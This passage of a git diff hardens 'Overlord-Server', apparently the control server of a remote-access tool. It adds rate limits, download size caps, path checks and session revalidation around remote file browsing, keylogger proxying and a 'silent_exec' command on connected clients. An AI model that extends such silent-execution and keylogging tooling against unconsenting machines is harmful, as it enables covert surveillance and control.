failStream(pending: PendingHttpDownload, err: Error): Promise STREAM_REORDER_BUFFER_MAX_BYTES) { + void failStream(pending, new Error("download reorder buffer byte limit exceeded")); + return false; + } return true; } @@ -134,6 +149,13 @@ export async function consumeHttpDownloadPayload( pending.total = total; } } + if (pending.maxBytes && pending.total > pending.maxBytes) { + await failStream(pending, new Error("download exceeded requested byte limit")); + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(commandId); + pending.resolve(pending); + return; + } if (pending.total > 0 && !pending.loggedTotal) { pending.loggedTotal = true; logger.debug("[filebrowser] http download total", { @@ -159,6 +181,21 @@ export async function consumeHttpDownloadPayload( const chunkIndex = toNumber(payload?.chunkIndex); const chunksTotal = toNumber(payload?.chunksTotal); + if (data.byteLength > STREAM_MAX_CHUNK_BYTES) { + await failStream(pending, new Error("download chunk exceeded size limit")); + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(commandId); + pending.resolve(pending); + return; + } + if (pending.maxBytes && pending.receivedBytes + data.byteLength > pending.maxBytes) { + await failStream(pending, new Error("download exceeded requested byte limit")); + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(commandId); + pending.resolve(pending); + return; + } + if (offset === null) { logger.debug("[filebrowser] http download missing offset", { commandId, @@ -191,6 +228,15 @@ export async function consumeHttpDownloadPayload( } const effectiveOffset = offset ?? 0; + if (effectiveOffset < 0 + || !Number.isSafeInteger(effectiveOffset) + || (pending.total > 0 && effectiveOffset + data.byteLength > pending.total)) { + await failStream(pending, new Error("invalid download chunk offset")); + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(commandId); + pending.resolve(pending); + return; + } const shouldWrite = chunkIndex !== null ? !pending.receivedChunks.has(chunkIndex) : !pending.receivedOffsets.has(effectiveOffset); diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts index abf2dc7..46ea543 100644 --- a/Overlord-Server/src/server/routes/file-download-routes.ts +++ b/Overlord-Server/src/server/routes/file-download-routes.ts @@ -87,6 +87,13 @@ async function serveDownloadById( const clientId = intent.clientId; const downloadPath = intent.path; + const maxBytes = intent.maxBytes; + + const activeForUser = [...deps.pendingHttpDownloads.values()] + .filter((pending) => pending.userId === user.userId).length; + if (activeForUser >= 8) { + return new Response("Too many concurrent downloads", { status: 429, headers: { "Retry-After": "10" } }); + } const target = clientManager.getClient(clientId); if (!target) { @@ -172,6 +179,9 @@ async function serveDownloadById( reorderBuffer: new Map(), nextExpectedOffset: 0, onFirstChunk: () => firstChunkResolve(), + onFirstChunkError: (error) => firstChunkReject(error), + userId: user.userId, + maxBytes, }); }); @@ -202,7 +212,7 @@ async function serveDownloadById( type: "command", commandType: "file_download", id: commandId, - payload: { path: downloadPath }, + payload: { path: downloadPath, ...(maxBytes ? { maxBytes } : {}) }, }), ); @@ -704,7 +714,15 @@ export async function handleFileDownloadRoutes( return new Response("Client offline", { status: 404 }); } + const activeIntentsForUser = [...deps.downloadIntents.values()] + .filter((intent) => intent.userId === user.userId && intent.expiresAt > Date.now()).length; + if (activeIntentsForUser >= 16) { + return new Response("Too many pending downloads", { status: 429, headers: { "Retry-After": "10" } }); + } + const downloadId = uuidv4(); + const requestedPreview = body?.preview === true; + const maxBytes = requestedPreview ? 50 * 1024 * 1024 : undefined; const expiresAt = Date.now() + 2 * 60_000; const timeout = setTimeout(() => { deps.downloadIntents.delete(downloadId); @@ -717,6 +735,7 @@ export async function handleFileDownloadRoutes( path: downloadPath, expiresAt, timeout, + maxBytes, }); return Response.json({ diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts index cdef0cd..a127ae5 100644 --- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts +++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts @@ -1,4 +1,5 @@ -import { authenticateRequest } from "../../auth"; +import { authenticateRequest, extractTokenFromRequest } from "../../auth"; +import { hashTokenForSession } from "../../db"; import { logger } from "../../logger"; import { isIpBanned } from "../../db"; import type { FeatureName, UserRole } from "../../users"; @@ -198,6 +199,8 @@ async function tryClientViewerUpgrade( userId: user.userId, username: user.username, }; + const token = extractTokenFromRequest(req); + if (token) data.authTokenHash = hashTokenForSession(token); if (route.sessionId) { data.sessionId = route.sessionId(); } diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index 25a846f..8d62784 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -5,11 +5,30 @@ import * as clientManager from "../clientManager"; import { logger } from "../logger"; import { metrics } from "../metrics"; import { encodeMessage } from "../protocol"; +import { getSessionByTokenHash } from "../db"; import * as sessionManager from "../sessions/sessionManager"; import type { SocketData } from "../sessions/types"; import { normalizeFileUploadPayload } from "../fileTransfers"; -import { canUserAccessClient } from "../users"; +import { canUserAccessClient, canUserAccessFeature, getUserById } from "../users"; +import { hasPermission } from "../rbac"; import { decodeViewerPayload, safeSendViewer } from "./ws-viewer-utils"; +import { + consumeFileBrowserCommandRateLimit, + FILE_BROWSER_MAX_ICON_ITEMS, + FILE_BROWSER_MAX_READ_BYTES, + FILE_BROWSER_MAX_THUMB_ITEMS, + isSafeFileBrowserPath, + validateFileBrowserCommandPayload, +} from "./file-browser-security"; + +function boundedBytes(value: unknown, maxBytes: number): Uint8Array | null { + let bytes: Uint8Array; + if (value instanceof Uint8Array) bytes = value; + else if (value instanceof ArrayBuffer) bytes = new Uint8Array(value); + else if (ArrayBuffer.isView(value)) bytes = new Uint8Array(value.buffer, value.byteOffset, value.byteLength); + else return null; + return bytes.byteLength <= maxBytes ? bytes : null; +} type FileBrowserViewer = { id: string; @@ -32,11 +51,55 @@ type WsViewerClusterDeps = { const WS_UPLOAD_MAX_TOTAL = 8 * 1024 * 1024; -const fileBrowserCommandSessions = new Map(); +const fileBrowserCommandSessions = new Map; +}>(); function trackFileBrowserCommand(commandId: string, sessionId: string): void { - fileBrowserCommandSessions.set(commandId, sessionId); - setTimeout(() => fileBrowserCommandSessions.delete(commandId), 10 * 60 * 1000); + const existing = fileBrowserCommandSessions.get(commandId); + if (existing) clearTimeout(existing.timeout); + const timeout = setTimeout(() => fileBrowserCommandSessions.delete(commandId), 10 * 60 * 1000); + fileBrowserCommandSessions.set(commandId, { sessionId, timeout }); +} + +function finishFileBrowserCommand(commandId: string): void { + const entry = fileBrowserCommandSessions.get(commandId); + if (!entry) return; + clearTimeout(entry.timeout); + fileBrowserCommandSessions.delete(commandId); +} + +function viewerCommandId(value: unknown, fallback: string): string { + return typeof value === "string" && value.length > 0 && value.length <= 128 ? value : fallback; +} + +function denyFileBrowserViewer(ws: ServerWebSocket, reason: string): false { + logger.warn(`[filebrowser] closing unauthorized viewer: ${reason}`); + try { ws.close(1008, reason); } catch {} + return false; +} + +function hasLiveFileBrowserAccess(ws: ServerWebSocket): boolean { + const { authTokenHash, clientId, userId } = ws.data; + if (!authTokenHash || userId === undefined) return denyFileBrowserViewer(ws, "Authentication expired"); + const session = getSessionByTokenHash(authTokenHash); + if (!session || session.userId !== userId || session.expiresAt <= Math.floor(Date.now() / 1000)) { + return denyFileBrowserViewer(ws, "Session expired or revoked"); + } + const user = getUserById(userId); + if (!user || user.role === "viewer") return denyFileBrowserViewer(ws, "File browser access denied"); + if (!hasPermission(user.role, "clients:control", user.id) + || !canUserAccessFeature(user.id, user.role, "file_browser") + || !canUserAccessClient(user.id, user.role, clientId)) { + return denyFileBrowserViewer(ws, "File browser access revoked"); + } + ws.data.userRole = user.role; + return true; +} + +function rejectFileBrowserCommand(ws: ServerWebSocket, message: string): void { + safeSendViewer(ws, { type: "command_error", error: message }); } export function handleFileBrowserViewerOpen(ws: ServerWebSocket) { @@ -58,7 +121,16 @@ export function handleFileBrowserViewerOpen(ws: ServerWebSocket) { export function handleFileBrowserViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { const payload = decodeViewerPayload(raw); + const expensive = payload?.commandType === "file_hash" + || payload?.commandType === "file_thumb" + || payload?.type === "file_download" + || payload?.type === "file_zip"; + if (!consumeFileBrowserCommandRateLimit(ws, expensive)) { + rejectFileBrowserCommand(ws, "File browser command rate limit exceeded"); + return; + } if (!payload || typeof payload.type !== "string") return; + if (!hasLiveFileBrowserAccess(ws)) return; const { clientId } = ws.data; logger.debug(`[DEBUG] File browser message from viewer for client ${clientId}:`, payload.type, payload.commandType || ""); @@ -74,8 +146,28 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, if (payload.type === "command") { if (typeof payload.commandType !== "string") return; logger.debug(`[DEBUG] Handling command type: ${payload.commandType}`); - const actualPayload = payload.payload || {}; - const routedId = payload.id || commandId; + if (payload.commandType === "silent_exec") { + const current = getUserById(ws.data.userId!); + if (!current || !hasPermission(current.role, "clients:silent-exec", current.id)) { + rejectFileBrowserCommand(ws, "Silent execution is not permitted"); + return; + } + } + if (payload.commandType === "silent_exec") { + const command = payload.payload?.command; + if (typeof command !== "string" || command.length === 0 || command.length > 32_768 || /[\x00]/.test(command)) { + rejectFileBrowserCommand(ws, "Invalid silent execution payload"); + return; + } + } + const actualPayload = payload.commandType === "silent_exec" + ? payload.payload + : validateFileBrowserCommandPayload(payload.commandType, payload.payload || {}); + if (!actualPayload) { + rejectFileBrowserCommand(ws, "Invalid file browser command payload"); + return; + } + const routedId = typeof payload.id === "string" && payload.id.length <= 128 ? payload.id : commandId; if (ws.data.sessionId) trackFileBrowserCommand(routedId, ws.data.sessionId); switch (payload.commandType) { case "file_read": @@ -167,6 +259,7 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, switch (payload.type) { case "file_list": + if (!isSafeFileBrowserPath(payload.path, true)) return rejectFileBrowserCommand(ws, "Invalid path"); if (ws.data.sessionId) trackFileBrowserCommand(commandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_list", id: commandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_list"); @@ -181,6 +274,7 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, }); break; case "file_download": + if (!isSafeFileBrowserPath(payload.path)) return rejectFileBrowserCommand(ws, "Invalid path"); if (ws.data.sessionId) trackFileBrowserCommand(commandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_download", id: commandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_download"); @@ -197,6 +291,10 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, case "file_upload": { const upload = normalizeFileUploadPayload(payload); if (!upload) return; + if (!isSafeFileBrowserPath(upload.path)) { + rejectFileBrowserCommand(ws, "Invalid upload path"); + return; + } if (upload.total > WS_UPLOAD_MAX_TOTAL) { safeSendViewer(ws, { type: "file_upload_result", @@ -208,7 +306,7 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, }); break; } - const uploadCommandId = payload.commandId || commandId; + const uploadCommandId = viewerCommandId(payload.commandId, commandId); if (ws.data.sessionId) trackFileBrowserCommand(uploadCommandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", @@ -237,7 +335,8 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, break; } case "file_delete": { - const deleteCommandId = payload.commandId || commandId; + if (!isSafeFileBrowserPath(payload.path)) return rejectFileBrowserCommand(ws, "Invalid path"); + const deleteCommandId = viewerCommandId(payload.commandId, commandId); if (ws.data.sessionId) trackFileBrowserCommand(deleteCommandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_delete", id: deleteCommandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_delete"); @@ -253,7 +352,8 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, break; } case "file_mkdir": { - const mkdirCommandId = payload.commandId || commandId; + if (!isSafeFileBrowserPath(payload.path)) return rejectFileBrowserCommand(ws, "Invalid path"); + const mkdirCommandId = viewerCommandId(payload.commandId, commandId); if (ws.data.sessionId) trackFileBrowserCommand(mkdirCommandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_mkdir", id: mkdirCommandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_mkdir"); @@ -269,7 +369,8 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, break; } case "file_zip": { - const zipCommandId = payload.commandId || commandId; + if (!isSafeFileBrowserPath(payload.path)) return rejectFileBrowserCommand(ws, "Invalid path"); + const zipCommandId = viewerCommandId(payload.commandId, commandId); if (ws.data.sessionId) trackFileBrowserCommand(zipCommandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_zip", id: zipCommandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_zip"); @@ -285,7 +386,9 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, break; } case "command_abort": - target.ws.send(encodeMessage({ type: "command_abort", commandId: payload.commandId } as any)); + if (typeof payload.commandId === "string" && payload.commandId.length <= 128) { + target.ws.send(encodeMessage({ type: "command_abort", commandId: payload.commandId } as any)); + } break; default: break; @@ -304,7 +407,8 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W } const payloadCommandId = typeof payload?.commandId === "string" ? payload.commandId : undefined; - const ownerSessionId = payloadCommandId ? fileBrowserCommandSessions.get(payloadCommandId) : undefined; + const commandOwner = payloadCommandId ? fileBrowserCommandSessions.get(payloadCommandId) : undefined; + const ownerSessionId = commandOwner?.sessionId; let hasSession = false; for (const session of sessionManager.getFileBrowserSessionsByClient(clientId)) { @@ -321,30 +425,65 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W continue; } if (payload.type === "file_download" && payload.data) { - const data = payload.data instanceof Uint8Array ? payload.data : new Uint8Array(payload.data); - safeSendViewer(session.viewer, { ...payload, data }); + const data = boundedBytes(payload.data, 4 * 1024 * 1024); + safeSendViewer(session.viewer, data + ? { ...payload, data } + : { type: "file_download", commandId: payload.commandId, path: payload.path, error: "Download chunk exceeded limit" }); } else if (payload.type === "file_icon_result" && Array.isArray(payload.icons)) { - const icons = payload.icons.map((item: any) => { - if (item && item.png && !(item.png instanceof Uint8Array)) { - return { ...item, png: new Uint8Array(item.png) }; - } - return item; + const icons = payload.icons.slice(0, FILE_BROWSER_MAX_ICON_ITEMS).flatMap((item: any) => { + if (!item || typeof item.key !== "string" || item.key.length > 4224) return []; + const png = item.png ? boundedBytes(item.png, 512 * 1024) : null; + return [{ key: item.key, ...(png ? { png } : {}), ...(item.error ? { error: String(item.error).slice(0, 512) } : {}) }]; }); safeSendViewer(session.viewer, { ...payload, icons }); } else if (payload.type === "file_thumb_result" && Array.isArray(payload.thumbs)) { - const thumbs = payload.thumbs.map((item: any) => { - if (item && item.jpeg && !(item.jpeg instanceof Uint8Array)) { - return { ...item, jpeg: new Uint8Array(item.jpeg) }; - } - return item; + const thumbs = payload.thumbs.slice(0, FILE_BROWSER_MAX_THUMB_ITEMS).flatMap((item: any) => { + if (!item || typeof item.key !== "string" || item.key.length > 4224) return []; + const jpeg = item.jpeg ? boundedBytes(item.jpeg, 1024 * 1024) : null; + return [{ + key: item.key, + ...(jpeg ? { jpeg } : {}), + w: Math.min(512, Math.max(0, Number(item.w) || 0)), + h: Math.min(512, Math.max(0, Number(item.h) || 0)), + ...(item.error ? { error: String(item.error).slice(0, 512) } : {}), + }]; }); safeSendViewer(session.viewer, { ...payload, thumbs }); - } else if (payload.type === "file_peek_result" && payload.data && !(payload.data instanceof Uint8Array)) { - safeSendViewer(session.viewer, { ...payload, data: new Uint8Array(payload.data) }); + } else if (payload.type === "file_peek_result" && payload.data) { + const data = boundedBytes(payload.data, 4096); + safeSendViewer(session.viewer, data + ? { ...payload, data } + : { type: "file_peek_result", commandId: payload.commandId, path: payload.path, error: "Preview data exceeded limit" }); + } else if (payload.type === "file_read_result" && typeof payload.content === "string") { + safeSendViewer(session.viewer, payload.content.length <= FILE_BROWSER_MAX_READ_BYTES + ? payload + : { type: "file_read_result", commandId: payload.commandId, path: payload.path, error: "File content exceeded editor limit" }); + } else if (payload.type === "file_search_result" && Array.isArray(payload.results)) { + const results = payload.results.slice(0, 500).flatMap((result: any) => { + if (!result || !isSafeFileBrowserPath(result.path)) return []; + const line = Number(result.line); + return [{ + path: result.path, + ...(Number.isSafeInteger(line) && line > 0 ? { line } : {}), + ...(typeof result.match === "string" ? { match: result.match.slice(0, 4096) } : {}), + }]; + }); + safeSendViewer(session.viewer, { ...payload, results }); } else { safeSendViewer(session.viewer, payload); } } + if (payloadCommandId) { + const isTerminalDownload = type === "file_download" && ( + !!payload?.error + || (Number.isFinite(Number(payload?.chunksTotal)) + && Number.isFinite(Number(payload?.chunkIndex)) + && Number(payload.chunkIndex) + 1 >= Number(payload.chunksTotal)) + ); + if (type === "command_result" || type?.endsWith("_result") || isTerminalDownload) { + finishFileBrowserCommand(payloadCommandId); + } + } } export function handleProcessViewerOpen(ws: ServerWebSocket) { diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts index c77842b..4d262c0 100644 --- a/Overlord-Server/src/sessions/types.ts +++ b/Overlord-Server/src/sessions/types.ts @@ -24,6 +24,7 @@ export type SocketData = { userRole?: string; userId?: number; username?: string; + authTokenHash?: string; wasKnown?: boolean; autoTasksRan?: boolean; autoDeploysRan?: boolean;